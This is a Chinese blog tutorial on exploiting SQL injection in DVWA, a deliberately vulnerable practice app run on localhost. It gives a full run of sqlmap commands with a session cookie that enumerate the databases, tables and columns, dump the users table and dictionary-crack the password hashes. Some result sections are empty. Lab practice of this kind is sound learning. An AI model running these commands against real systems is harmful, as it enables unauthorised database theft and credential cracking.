DVWA——Sqlmap练习
在DVWA頁面中選擇 SQL Injection
一、首先肯定是要判斷是否有注入漏洞,在輸入框輸入1,返回
返回正常;
再次輸入1',報錯,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near " 1' " at line 1
此時可以斷定有SQL注入漏洞且為單引號閉合的字符型注入,下面利用SQLMap進行注入攻擊。
二、利用Sqlmap工具:
1、先進行基本的測試
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/index.php?id=1&Submit=Submit"-u 參數表示url,指定連接目標
得到提示:
Sqlmap 得到302重定向到 " http://localhost:80/DVWA/login.php "。你想跟上嗎?[y/n]
根據該提示,可以判斷(302重定向)跳轉至登錄頁面,看來需要帶cookie,否則可能無法正常執行。
解釋:web應用需要登錄的時候需要加 cookie參數
不加則如下:
F12打開控制臺,在網絡里得到Cookie信息。
加上帶cookie參數再次測試:
得到:
the back-end DBMS is MySQL //后臺數據庫管理系統:MySQL web server operating system: Windows //Web服務武器操作系統:Windows web application technology: PHP 5.4.45, Apache 2.4.23 //Web應用技術: PHP 5.4.45, Apache 2.4.23 back-end DBMS: MySQL >= 5.0 //后臺數據庫:MySQL
發現sqlmap可以跑出數據來了,構造其他語句,繼續查取數據。
2、列出數據庫信息:
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;s ecurity=low" --dbs--dbs 表示列出目標有哪些數據庫
得到8個mysql下數據庫名:
3、獲取當前的數據庫:
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --current-db--current-db得到當前使用的數據庫
得到:current database: 'dvwa'
即:當前數據庫名為:dvwa
4、獲取當前數據庫下的表:
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --table -D "dvwa"--table -D "xxx" :得到xxx數據庫下面的表
5、獲取數據庫dvwa下user表的字段:
--columns -T "" -D "" 得到數據庫下面的表下面的列(columns)
得到:
6、獲取user表里的字段值:
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --dump -T users -D dvwa過程中會出現的部分提示信息:
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 您是否要將散列存儲到臨時文件中,以便最終使用其他工具進行進一步處理do you want to crack them via a dictionary-based attack? [Y/n/q] 您是否想通過基于字典的攻擊來破解它們?what dictionary do you want to use? 用什么字典來破解?[1] default dictionary file 'C:\WangAn\Sqlmap\txt\wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files 回車會直接使用第一個do you want to use common password suffixes? (slow!) [y/N] 您是否要使用通用密碼后綴? (慢!)最終得到:
至此,DVWA 的Low級別的SQL注入漏洞使用SqlMap工具注入完成。
總結
以上是生活随笔為你收集整理的DVWA——Sqlmap练习的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux中grep命令 常用选项
- 下一篇: 攻防世界 web(二)